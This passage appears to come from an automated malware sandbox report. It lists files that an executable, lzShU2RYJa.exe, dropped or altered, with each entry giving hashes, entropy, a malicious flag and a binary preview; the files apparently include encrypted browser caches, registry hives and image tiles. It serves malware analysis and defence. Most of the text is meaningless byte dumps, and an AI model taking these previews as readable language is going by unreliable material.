.n[c.U..A...n._....."(uB.........QE....z.<x..H.Zm.!$.j......ucA.a.96R...Isc.O2....4b..q...#.\|.h.;L.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\startupCache.8.little

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2620287
Entropy (8bit):	6.998496221321094
Encrypted:	false
SSDEEP:	24576:QEkEY2M9Ooj6HoMllbQkvFLqLhjYOC5QSbs9fmadKzz/we3qR3omqfkXIzyUiGcO:QdoM99IrJxEhfSI9CyYlNjcHu/Ekf
MD5:	AAEBDC4D67D6D467B3F0B322EA991E48
SHA1:	FBA4AAD8B3E395AAF0E5E9344A5A5E49D6AB1919
SHA-256:	83979FD951441F04CA8FC2280B23B493D8CD7757F6B741568472B446AB60415A
SHA-512:	171381F4F9D285A7851D2967D28C341C7F257B3D550C9ED0AD058B80096CB01DC40C1D11AFE5C8CB0DA7A586CD863BEBC16E7E35316467A81608D4D580500476
Malicious:	false
Preview:	startgF......o..sX..x...~...`T..,.]..=..\|.\......}Y?iM..ko.'Y..G...\....`......z....t.A......H.............#..h.....c...U....%...F,..'.d....1NUe.vp8...V......:.M...U .<G.Fa.I.m.@.6..W....A..4.......d~{.?..t....Vd?N.....(3H...u.9@.LN..?(.l..v..{.,.v.....76.....n...l>..!-.......w.7.....>..\|#.x8....x.t..?.g.2o`...MB.[..n8.t.........n.6.U\#.P......(AR.ZA....^.v-n1H=..$G.....>x....{;9k.d..w>eB..8.F....#~.`.x..0..A...ZL.......e.........^.P.z..t..(...0}...;f9...7L...:...a"....._.f.f["7.b..U..(u.`.;3f@=y....7v...q}.&..&3s.......$]4.}....0.L.(.'.hgS......V.8#..1....i~.#z]...fXj...(.:RbG..kr. $Z....4M...\|..".U...........N..I..m...>.6r.':.]..q...e..f....ii..!&.V.l.L.U-...'._-.........w\.E.\|v')\0.......ZS..(...^5!LCL.P..a..B.r...09.7".S_dv.{Y..^._...T!..X...'.;.b.....+c..W...MX.Dea.L...C...r....z6.&.'.\|TCW.....eP..d...x...).l.u.9..\..(.c.a.s......._-.?...9......uF.C7..U,.....~...]..Ns..U.&.Ey..8.tU.....wIQ7m..e...,...X.<.4..^.S.4.....F..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache-current.bin

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.942004392933285
Encrypted:	false
SSDEEP:	48:/30oWh2I7vhy1i2WAuBX7FSW9/u0gVsmoMFb2p1CkjY4NprsXi2tYtFD:/3x42j12F7F9cHVsmqrjF4i2tY9
MD5:	D903263232CA028D78E2BAA6C7B0A112
SHA1:	7F36602C12573DA2FF06720695665AFC45EF4CDA
SHA-256:	01C3EBCF0F0CCAF4D7BB021FF392C8508FF25269EE7182EE6CE461EFC8782938
SHA-512:	1093FAE719F64F25BA240ECD9DBA731A2CB9E43537E2915D02960C956153E2E129A52947E9C75C77A3DBDBC81BF1194CB6AF9948C5301706326B7425FEB0B8C7
Malicious:	false
Preview:	mozUR....-....>...@.D...o..S.....8Y..Zrm....a.%..I.....$.q..T....f.2..Z..XH`.P},pW.c.....[....0.....NVGv.../....2...k.ep\.d.^2..8..:.4.+>".Z\.(.P.wF].g......cM...v$.....IIh..+n...;k.>.x.g.X....{.[YB.!.SJ.9.+.c.y.y.c.h..)9].....w.....6W...../.....0B\|H..iP......Tw.......f]WUkEz.....=-..._........:........Z.Hr`6...ee..;2Et....k...rU..By.&.hy5..Hn.Zh..>.n.1.&.?ik...(l....t.43-D.!... ... ...V..dm>j..D....sK....R.w.s.>..E+..m .....!....'."W.uQ..-.<ly..,.o.S7~..b.ou..6...d4..@.~..h......$k.4\|.jVgB..W@...0v.\|.......}.;.j.k...qW...b.Z.j....e.w..y.?.)n5.0...F.F#..X......ss...].g..)v..6.......H....-...:.$...~F.K`:..\|H..._../u...o..!..F2.=..S...@.W. .n...$..B.x8..}.....N.+..&./].C..k.Y...I..t....I..K..$..y4g.q..b1......7-7...&.Q.-y..'ly..w. 5.21a5.......O.d.w..ZA>.J..{No..U&F.<._o.....6.#.=.k.%$..]Q.,...."b......>..Sj.....L.}....F6.Kn.-.........{.Ou......5#R....vc;..V.....s.....&..........0.fu.bo.6})x...mn......e..r.b.....P...X7..-X.....W...

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache.bin

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3739
Entropy (8bit):	7.953589325645458
Encrypted:	false
SSDEEP:	96:4mkPxUPhK/DrgEd1bbG1gv8SaKbkqrNG++GjA9jM9:3YQ8DrgEd1bbCgv8zO/xkI
MD5:	C795173D4194ED85112A47044B0E7485
SHA1:	EFBE58EBC25DCE88763C0C89712CE96C7BD2A631
SHA-256:	6CEAB2F3C804F4418FD46DD4C199DE136D4B01D7E2B0B39EF9670D5560058DFF
SHA-512:	7C1B3F3C1A88C0A362C87484F16D6524AFEBC720FBEEDA173272582EF43444B7072335F4B688F5D79BFA871CAB765F0D25EDFE9BF3A7168A231861E4FA1D0E70
Malicious:	false
Preview:	mozUR7p.>.....h.....5ew..wI.....E....rek'...m..W.....$H.h.&kw,..._.....{...e)..b.j.sp}(..Q&..`.7.}..Un..T.U..U}.....Y..2..1..d.8...Nf...(..uL4.o.6.).....U~!..7......A.N.@......M...#.V..C.. ..Z...l.l.#.<....s...JT..Z...y..x.}..aE/"..>.A<7..2....,.`....]6.....!....\..yD...?.X..[q@>....F.T.8...5...........k.:..z}^.g.e...{..L.4....I.1n.....j.....g....W\|.\k..~.ZTv....qKX^.zqO.......\|.......9..7..+M...CQrg......!"W.z..IL..".r........+Z...0...._/.4..Z...K..q.G.J..S6.LR2x...+..>.....Vf.....HB{...$...3p.o.$....PK?..X.=<.....+.?dV.gL*.!........!.j..0......v.^.P......}.....>..j...~....p......s.V.E\|.;...S.<...T..n...3.<.\|e....d..~I....G..2...c.2V....I.k....PM..d.2......D..c.}%.~....=@.8.xd.#...>.....t.)....v..w5zD...~Hh??.:(.o.. ......V#.0L.}.Y..<tn.../I..9.YB..`.-..1......o...<90/...K.(.].}o.....f..Le.lb.A...=0...9CzR1.oORB....>..r...P.........pX.[tDi.6...j.I....6...._...U..e`b.J....g.[.w..E..F@c-.=.......eY.}."..C.5...0.N}..K..\|hP..Yko......

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	110692
Entropy (8bit):	7.998538657336324
Encrypted:	true
SSDEEP:	3072:QttfZDz/EYgb/NHbRTJkUuXszex5CdCUtxNJOcdM/l/:QttJI/53kU1zPdltPko2l/
MD5:	7670BD5CB9FCA0554CF0236AA89FBCED
SHA1:	2943C57583F359ACAF5A98098BB466BB41030234
SHA-256:	3FF869EF4FAC170430C1EAD9A51E3179C8D827DCA7D98BAAF29E06B12F5842D1
SHA-512:	832228EF6EFC8D2365FB2B19774843FD450FF6C9D285F7DB941AB1CB5387D16667CF494402D98080B6A092652DF53C433BA8862C8FDF3D5FB539319278DBAE6F
Malicious:	true
Preview:	mozJS4&@>jw{.[+Y..u....gd...p.V.t........0B.jy..#...<......XSD..$.,...`..\|..{$c4...eLV."e.D....s...x..~n.._-\.l.-.U../.V..<D..F....7..?,..^.8l.A.........KW.a.....\|.....i....p......F......).e.6Fg.j.o..?M.!.R..+.7.....7...#....[..}..9[.\|m.7..br.\|y`.KR.....(.{\|..q.g.a..k....?.U..I...$M..?S.p....:..xj...<.........[...M...e.$4D.....`Xa.Fk....T.F.Q.`\|.?.,.XX.L^(IP.....>.&#...z....2X.0.3.d.'.Xo .....9.....#.a.y............^-.....R....u'.bH:ayUI...({pz?.`.......V....*'..L..>li..>#......h..oOz...R.../x.\|DH@7...=.....H...IZ.B..)iz+.....9r....../.......`.2GwW.....s"...m"6K.,.y@_....f.FTPh..X.=gj./...., ....U.iU.L..(.q.F.....<+..\...Y.$.0......oF...n..o.%.^<9.V.......I......Z.i.x2(]....R0%..Sn......wC1j.~c7.... .2.6T...p.:.F.E.....f........\|^.Q........Qf)..D......W.RpSJ..H..$.q(......BWMpv]............P..q.\|}.h(....c.3.[.NM..4n....g.o...R...\|%....a..].0..>...tT...P..%...r....!a.`..:...&<..P..^U`.^ZO.1..$.rY.)<...4..b).&.&H...Y.I.h..P.F.

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979039326674898
Encrypted:	false
SSDEEP:	192:YaT4yBUoK49aAl1nvHmcCAIRBY5aCJ+5NvcHdJ/WPe1LV40KmXsF2hI:YakyVKmaAl1nvHmctGi5aCJcvciSRgCa
MD5:	5C0BDE2EC04DDF38C28E9B69DAC48D9A
SHA1:	D37AF52797E38EB3237CC597A56D545EB1FE9DC0
SHA-256:	30D7D2801E4FD5800E9E2EF84276CF9AF4374B878DDDA3D4D6F83F1B405D6D78
SHA-512:	CD78DC4A5F32AC13E1F8F3E9F804C4A672009B5E6DE4119159CAB6327ABF4F9BB6FD5FB220D0B02AEB9AAD4085E3370F9F6293F88BB105CF3C0B81005246D1E8
Malicious:	false
Preview:	regf.....\..C.<...X...[G..{..+...."..v...g.%...N.@..b..^.H.z..e\M...}.X..0<.m.;..v=.G...6...\|.Mp.Ci...(i.\.....%...b..u)&<...X.T..l$....C...p.qa.s'cy.g.."..^.P.....P..?..^:W..7....../.z.>.Z\M.g..C.".&....W........N[z.........._.u....$...<.-... .FH..M.q.....C..M....>ZT..DX..M.9x.j..-..d.C.]...=..v$/3...M..X..j.....x.j....Y.%..B.b....J.2.~.s...u..`....M.1.L.'..`.~S..d..E#...%W,..Q.6..1...z..xh..z].....5.v.a...l..cf.t._.....;..%.d.LZ..C......1>..K$l.>+..cVsH....J...{...,.9.j...+.FH.w$........L.B...c.?.F....g.YA........)$U.....]..Q...).B....Z..'+.ea..02A(...A..F.Q....Y\|..#.._x.X..^.P.d.q}....T!.....Ig....}.<Q..U..T..C...Jb.......1.V}..?.%lP..o!.A.G$..aPC....n[.F....~$...R....[.p..YH.....XQ.....G./s`Y.....i.].(K.y..............*e..&.r..{8....>..&.."a....F.L...L..N..AL2\.w....._...N>...Pm......i..`..,.!.I.BPb.@...._..$...C....h7.<..g.x?...].a....?..._..g.-.w...4.Y.I1j.,U...3~yt..w..Q).al.[b...LO.T.N.t.T..T..rP..p.@.P.Y...P.?.aUT.e6..2.5\8.6.&N

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980532647563652
Encrypted:	false
SSDEEP:	192:O8KNjCULY3ocmDt4osE8fFm4FaMEiMbuYY0ma1L6fYYNDIQA/bf0SQ29zP80wC:O94CymDt4os84MwMbuL0maF6fdcQAzfr
MD5:	F337A81BCAD3ACD6DB44ED599028F097
SHA1:	B5B5CDD61BFEA24F2E3323BA45747AF610317DC6
SHA-256:	704CDA9E5E7087DCE52C76606C73CBB0F74FA6B2E3BD71F9E114B857D1A16E53
SHA-512:	B225F689933D73F9E7334919AB0DA296ECF3E3BA276525627DBEAE1B9BC190908F1CE09AA5053461F39B09E0D1233BEC9B49D8FFCCFC2D544ED9E34F6279F733
Malicious:	false
Preview:	regf..o...p.a...']..?....3....fr...M.j...:wk.?...kR......x.jD`{.t@.+.a.u......r....,..l....]v.u.../H.v...+..*<.H.\|.TB^..u.kw.C.E'+...D......?T.6.}}.D.;..3.f..M7...Zw..z.....^CQ...8J..b+s.M..oD..6.i.....\|....D.M5EOPE..t...s.h...\Fn..M....w....L-$...........1.5.zg1.E.}...."D..].....Ujq..\....<..L....p......&S....{Z..G?...6...7l-Y..h.<\|...z....bMi..:(....G\N..z$G.S..Z...dqq.....8.o_......B.....!t....S~..,ij....E....q^a'qU\..m.....1o..6gXP...g..}...Y&...X.mR&jq.}}M..a=.. .A_.0"....w...X........-...._o.jys..qpk..M....O."...t.UwP.....WL.....T..Tu$.%.Iz...Jg.....D.r.r.........q!..:...............O.....X.G. .~.-\|...."..%].>..8..C.6.Ts..\|..#.j<.z.g.t.g....#IP'............$S...g...RxH...!..j.F.W6.E;.o........h.p..l....?.r.L.e./..Kh.......#P..tV.i0.z.GqE.+..T..r..q..ESa.>.2\...E..sL2.....z.,..cq.ni...........A...#./.3.E.1\.5....wF^4...J.U. ,...q......9.VX..c......Y.f#..W.`..E.BG..Tg.?...@..?..2.8..F0[.5.@m2P.l.B.q..+7R..........wN......

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980054432247801
Encrypted:	false
SSDEEP:	192:4KaWrL0a37hIkCpZMDY6A6N1H6W880ZxVCyY/rvzPKZOq6:qWprhIkpDYPe1arXZy1/yO3
MD5:	73325A5E135D3253AED53AB62C36F394
SHA1:	C36D0F8776F382A8DF80D47BEBFAD4334ACB171C
SHA-256:	A5CECF81494AF382E47846B2163DFC2AE7F831B9E0EBB451A986C46D0B6AC334
SHA-512:	56BF07AD771CD9A307A899D80CD0DEFB063A4C14E60A2117EC91D7B8567820501FBD7C9EE2C40256E9B5EF4AA0AE14A6B6E067D9900C9BC4C32286C2F0348367
Malicious:	false
Preview:	regf.,.{%=Q`.}..J..0...h.......7....Lo. ;Hg._...n..R.l...].JW..Bi/.].T.G.K....@n.W...}..:.w+.h9..]87..?.5.L".^.p0vx.VQ\|.?..)..-.....:E^.......-..n!..!=.:.[j.A.....f...\.@..?.?.'..^.{w..E.B...!}.D. .kQ.6-.....M...^... '...5...G...l...%....dE4>M.<S..........Im.o..~....\MF$O...k[...B.H.......]..,b...=owH.._.8[.....D)..."..{..<S.{...+F.:.nC.]P?#\|...y...(.{.M........5/.S....u....r........V......d...<V.o..84<.3.6..t.....?..y.N=.($..9.....`@...kl]=..G..)Og....@.Wy_Q.......b}...@...U.g....Z..K.3.d......{)......A.b.Q.u...pU.\ ...>N8....M.k.......5..k..'p..dGF......D..9.S!...I.i2..9..e..............WzV.$...o..6....`P1.....4.e...n.R}..j.EY.4.8.....oF.K.A.=\|.Y../D..90....zy.;.6..C.c7..S..Ti.b....IE...F.MJ..K....v.]...'...3O%..IiV....rG.H....l..J..ro.x.&.....O.G.....E..\|....1...N?PJ..u.O.. ....8k..".......9..l.!...pJ.....(.=j..;..Q.c3p.5.......G9..B...Z..~.....U.6K.j.7..*.OP.#.&Y5\......vXD.<.6...L....:M.....5...:.0y.,X p.......ZyfI&....;..We.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2727
Entropy (8bit):	7.938090954554282
Encrypted:	false
SSDEEP:	48:/4+TobTGxhhyxX5yOTz31mkqRx9+WYRNDMw30/9sWG561qH/k9gYGn0mWt18JURa:1YTGxhhyJkO/lDqRx9+yAkSQ1qH/k98P
MD5:	AE3AB10E06F54A744EC2E2E1A01B4954
SHA1:	A5E25098A755A72C45E5E0CD5D66EA855894F978
SHA-256:	42049C74D81EE6E0CE8CC535BEA999338D1BAC90DB6A26D80D81332837481D87
SHA-512:	3AD43E83A8A55E3065CB34630DE6B8B758A33AC41B45BEB7A95EAFFA829B3541CF65A83A61ECD8E36378D96F0B037685803F28D186171AFF14BF827202ADF3AF
Malicious:	false
Preview:	.PNG..a.(9..V..a..d.C..6..q...Y2.....i.....}I.E.5.....b%'..X..cf....S.L..;..S....x...n....4.............. ..u!....8.....i.n3......G..-.5L.G.X..I:j.k.a..4...=.8......+.....}&f.5m?.T)..j3&^0..m..h_7.........J....g....A.......D..{E+X..F....G.]..-~dv.0...T..c'IV....f...p....H h<..pw;iT..r.%.HQ....L.....%!/.z...Xp^.#....L.:R....j..Pw\..}...[[...-....)..."@...zW.Ks....ja.!u...1,...,'Q.-...z..DzP.j..../..O....5..y..s..'...-O.</.G..z.L.&.4......DC....>.M..J..AZ..u.......X=..6i.x.]......k??.w.d.d.BL...!Hr...UD..V.....t.....M.......[.C-5...l..&1...2%5.z>.M>h.ei..'n......\......?..:`.v,.......q...a.t...:c......*T..k....8...c..P.`....l+/..........n...H.y...y.w...E.L.#.:NE.....v4+......Az.... UB..).@p(..^.Hn.;...'G......+3..8.kS...9..M......2..c].......M...I\|/.......0.3.J...uXgr..F_JT._..>../%....B.m._..T..P..;4M...C....4........q.QFu\..GN.".(...t...o...f..^...Z.];w...i:S,Is.c.j.O.......krN-oI.......W.....e......wm.^w....w.......9...<O$\|.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1961
Entropy (8bit):	7.892163746117844
Encrypted:	false
SSDEEP:	24:rrrYD/In1NpA3PpIPYFTMzFAYsuanDCiAplxWfPZb1WgaEKTMtnT3rT2QLtzPJNG:nrqCvkpn9MBEqZx+ZjIMFT3rDjuFD
MD5:	C741137576FE8CE98DA1E51C4EF96E9F
SHA1:	8F1C2795FBDD9D8EFF197AF997601C94052D32F7
SHA-256:	94A904F75A2A33AEA12775E2A31205B84DB16B52BF0E55D11E939F3FC597C838
SHA-512:	B632B3FDA58BF77F21E5C08A5C12B78129CB47BC6E860DFC49C07688992979966013E350570BCD80987A4ADC9306467E34EB846DF985944A2ADF648E0D465D8F
Malicious:	false
Preview:	.PNG...#.......3zP... .BO..n.M6A#.nk.Z.....:....D..&.....0.B....(Xa%]g.L.......w..VN....M..iY\|.3.......,^~...W......"J....5.6.4......$..H.@...H..\~....._.4..Yh..q..DYjd...&v.....7..&...."I`.....!-V.3",.+IK.vy.D0"..`.L..."..W..2.S...~I..s...H...^q.[.w...#..hCZ.o...,......>.yH..W;.B..M..`......#2.x..S.u>.f..LHW.X...&.s..Us.PI.T.4.F...i....QP./.....x.L.,.{Lq1..#.j.PvW...t.....=...Z.I.u..j.h......ZP..P.J..8......s..D.U...i.........-.)+?.G........(F...tbP.;.g._.Wt=..R.4...~..+..0..m...\Ho...k..D=....J~.uJ.}Vo..#......w....,.O.6.<.Tl&..n..g3......E....>....I.d..{....,.....$..O.^.#..G.Gj.x..._..#..f8....{@..f..p...r\w.Q$uk.g.]_.ws....zL,...E.U......e..T/.;g.....F...g.V<.%.s..s.$..d5j.H.I6.5.+.n..{.oM.G.r50wI.[O.}T.'....?.z.Co...]..V@..e..9./C..+X..x.P..`.._..."qzH.r.D..{.t.N-7"....O.f..,.@bM.._8y!L:B.,.....N.`Z.... x..O...Q.~...9d......B.b>.H.s4...e..J.......j,l.[]..`...d.......@L.0,.6..M.}@..).}.\>..#...5~........B.......0..l..4.NA9.8Z/5

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2735
Entropy (8bit):	7.934892946929618
Encrypted:	false
SSDEEP:	48:C3MmoMFdsSzQkBLpb5yKNCXRLUu7qGrDroPCWpKh+xd/nDGGX5u31KUSZFD:8w2sBALpbYKNY+mXrPoPCWpE0iG5u31W
MD5:	55393B26AE0603DC778CAACA48075440
SHA1:	EDF42525B061035A381BEC7D0C01662F496C0C94
SHA-256:	5C0E04C2D3F112B53FB96EADF4350016D6C6C92A4D89E9D8452BA2709680BD70
SHA-512:	49B63620D84642B0293A03D6FA70A52054D2C4B4C012FEFC8A34909C4E9C1D0CA29EA8F2E1C5CFD20BAE891C22A20ED95D44712989815600D57D19111F27E73C
Malicious:	false
Preview:	.PNG.....rL5.4..e.....6.F.GT.j..Y...).Y.a.m...\H.....~".`.e[v.;.~v.].j..........`.xJo.t.G.9.b..D....x_Tt...N...r.Z(.X9[..Z/..L..Q...YR..<t..tQ.S^.....S/3R^IMB\|.5e..W.kP`.<......."I,".w.2.G.N1....Fj>..I......D.@... ..t..!.8....6.6.q.W..-......`E...]Z....q...%....7X....M...W>.;9..0,s.4.............d..&......\|..`"^q4.9.5=.^.'...5..8.....;..j...4>...;.\|.Q_u.5@.....+.k.c..15..E...Dt.y...z...N...M..>n.U..D..!) W%K.df.mM.hG.....U...0. ...8.%.ws..n...(7u .K.....}>......pj:.....b.....Ymu.......^,}..H.{...y.`..).X.....C...k-.....x.w.v.Jj...H..l.U....W..aQ@..<7...~..I...5.a..y.{e.C.^..(...Mx..w...+....<.l.....'c.....x.Bg.Lb.z.<..X..7.#..0.<.....J.7.....n...}.?.=0.b......\|..QT.a..RwJ..e.'.df.#O..i."[......Q....q....}B..hi..?..Fn_...qm.^md....;...z....s..Q...)q.3.]....F._Dt.{....A.......bJ.dM].y..q.L .1..u,.... ...+.Q.R....,t.."\|(.M....l(.xT.MH..^.d...V#>.._9t4Y}Xx..P..zGU.8@F.s....Zr#..1...tQ.......n..P.Le.As.WD....Z..B....z...n...T.....I&...T.G.;Y(..C.E

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1911
Entropy (8bit):	7.891700554453829
Encrypted:	false
SSDEEP:	48:47PGOwjb7DvP04IQAVJC/h7oneJmLduyQOXJLb4dk88iBVrcFD:Iujf8QAVQh7ofLduFOXJLbbZwA9
MD5:	E896601768C6D96AC3AA99A9D4C7422A
SHA1:	A7B8B84DAE6E401A8FB60532EAB0719F26DD7A27
SHA-256:	2C43BE16982157A2EA61CB0D436A9EC66D0DC684023F20AB5E139EF7514B76CF
SHA-512:	88AFD5D1199BA58D3F8D31860BB226D137F4C5BBFDF7E878A800F8BA6BEB4B2E7DDFA179784C548D1C88C42E8AEC106411BC0AE15C5B21EE7B4B579DAC725251
Malicious:	false
Preview:	.PNG..a.FL"U.....Tx.A@)..q....r,........1./..<r[..T.C..U.&....$6YY.T.L..r.._.r...`H..<......9A.J[7.C.._..b.h)J)lR..&....J......&.?m.]+s..j%...jc.ZFJ.I.Z..:Bc;...?H.m..p@..{6..'....i.a..Dw.o.1$..9H...\Au.^s.3m.....@..k.C.../.q>......(....w>:.]..M.m....`f....?.Y$...t............@\|..{(.....+ ....S.../Ch0..F.!c.F..-.u.R5/]..BX.$7.Y9.^....3&s.Ha"MO.3y.L..L..z........t.=...+(.$....X...FAS......y{..ZuD(OE.P..f...C[Xjz.%7T...~W..`M.m...~vn#:.tm\u...c..7...NV..q..c^..<..B$dvB.....=.:H....%8.!J.Q.`X,9....a.U...S.QI.N.?..F."/..r...y_O.G..Y..W7..5`..H}..........v.u..7..F]...YHw.a..{.%.x..M7.IQ.(.MP.4h!.a]f.2....b.........b..\|.....Jvo..B...L.4.Z.....+K.m.0...y.t...Z...\....9...V.....$[...8/...D.pF..eA.lM5.-sn<`..>.52.......O.X...xh...E.%..+..>4L ,.H.1...#...e..a'.3....Q.#\|....].l..G.~sF...}wm ....p........<..".{.E..../...N...rR..T.....F..k..Qf..RZ.g..5<#.+d.?<.7\|/.......+...+Q?#.....HN..8.....y.N.%..\|.......Y..&...WK..-KC.qu.x....`r\|:.<...!.nw.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1887
Entropy (8bit):	7.888215414785872
Encrypted:	false
SSDEEP:	48:PgZzNTm59/vh1j1/B5+ULVGnOjTn5vpobRw3KCJFD:P7RHJ/3FBGnqppotixJ9
MD5:	9ADE86D90C6DDD83BACAEDF28BEDF98B
SHA1:	95AB4B8E27D3D8F983B9A72FEDC5C4F3D66E243B
SHA-256:	968B24353C01E8FF80E6FE4FCCB689BE55C47A9644A1FB00A351840BDD4A9016
SHA-512:	1FF13A4997CC79CF6BDE685A779C8196268F9380314570F09E79A5EB83E6C7AE2E3E12C977375013B71A293FDF64D862F893A79E81AB3176C6A0A9BC6E4BCB8F
Malicious:	false
Preview:	.PNG...d.s...`.9..+eFb'J.U4f..{.i....}A.oF.I.B..?.....~FeJ.J....G......Q84.w.).}..bV#..........M..>....emc.....V.Xi...b.J...Z.....r.r..../..G#.C. C.@."Z5@..;njkC2......X..YD.E..V..X..#g.~...n7.-"Xl...J......4V&....]....`..^4....X8.8$..d....}r._j.T.... ......]..C\i....1.'@..........L,.y.U;.)`\|.._.7....#.1"..E"...L'.s........p.(...X.:Y.......{5...^r..0..p...6.q...@...%..TK.V..-._.P...}i.'.x.{...D...Uc).B.E..S.4VD......Yj%.1?D\....e.../w.../u..`kLec...6..."..0}.>.8\|....X4....M...%.)......kN...@._...Ssy.?..bM...HO...(D.n....k[k...hs.8..U.._.q....Zz.2.....E.@......C".<o.6.s..H[.O..5?e.eK5An.p...23.8.u.W.@......K..B........;'2..J.>$.Nz...O.Kj.a..F).....\.i.]..Q..BF...._.K...G.z....8JjF.>Z.<.....$..?+.......p.. .4..Lj....'....p....b.so....u....I....g..u......y.[...KT..2..!q.S.-..".1"F/.?..B....-..JE\|..+I.....b{aX..t..dd..F..6......[.j.!.N.s..tqj.V}\....5.CK.~...V.]...C.g..h@.S@.2ws..~......:.i.f...3...P...4.O.02U1..3..)4...RT.!>

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1447
Entropy (8bit):	7.873965018629307
Encrypted:	false
SSDEEP:	24:1qSjSHx0hMc0+EOtPfQMRBE/9jqE/JaU9O7QcwDCps0UvIlVk4bNLxv2MpAyIAgx:YwiCzJ5QG01j/JaU8YDZ1vIgE1fdIAgx
MD5:	83EE3BA8BD1A9C311411BC57E1758338
SHA1:	131A04CB473FE788A8B951C546FE872582751DFD
SHA-256:	2444E84477FFD10002D3E27D4C7BB955782DAC6CB6675E335D80A38AF6C3DD34
SHA-512:	422A4B4DDF262189B9C17E7B872DE5314DE14686125D7E64302960E333AD49976390050BBB9717362489AEFDB5FEFF8D663BA079C6477738D52B3C054DB5DCC5
Malicious:	false
Preview:	.PNG.gs3...93l'...lg.<..u..h.>.....5m}.....L...... s.>.H.g...,..............W.G...n..........W$nec/...-{.\|6.D....QZc.\|f......b.$PQ..._3b..p...j...p....../!W...q..=.,....U~..........[.. ........;.Ze.....a..~.3.o..`.j.#s.....5.\Z\|.v.-..S....Qr.X....&.&o.FV..0.w....T).:...V.4S...P..S7q...u..%v....`N.0...E"\.o..N.....,..>ym.9 .6.P.........>n.UQ.....Iy1..\w......#.U..I......aI..G....0c......)1...{...l...YU.-. ..7B.........t.F).r{o.q.nnmEq.(..D........q.....z.]......}...a.](.\|.w...R3...lY%OVp3..p...."~P.Im.<....W.u...l!...F..r.....\.v.".w_....R.E..r?..R$.....u!.W.../.N.T..bC..\......B...<.=.lK=...e..1...;D.....N.g%,)K.K....'..~...L.o..]j.X...xmY."y.R.....o;V..9.z.E....Q..k.a... .....f\.p..=....Rd. JD.g.\4:Y..n. u(8[.H..K.l......9.A.w.<....(.......,..../.D......O..c.5M...ap;S(....p....zs.8...H.O.xG..D..N.......B....}4:...4[v.VR.fq*.<.@...-7g.\.k.f>w.{......G:k#.W..{r.`..>..Wn.-T. X.r..!.\.r.W..?...2]R...e............G'4Um.o....e}Y...`..)Z3G..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1783
Entropy (8bit):	7.891436422229307
Encrypted:	false
SSDEEP:	48:79Y9NQIMkhBEJeLDJpFppO1za/JXw5XiQWmFD:2ZMteLVvppbEXirm9
MD5:	4DC900832505EFBD587E0CF0114F18DD
SHA1:	9C779221BD954131F529DD5F412B2D1A7829A587
SHA-256:	1DDB4EADE9E6CF0A4998A6632D700FD2A8F78510D9626522E9F8B6F4A11AE72B
SHA-512:	FFE30FC280DD9F46F8270AC1C291450631FC36A8FBF7D54ADF9BCA967D54726A1A4EC4A130DAE9BDA92C258E185D40CDFB1D8011D5732CDF2ABBB5BE89DF55E9
Malicious:	false
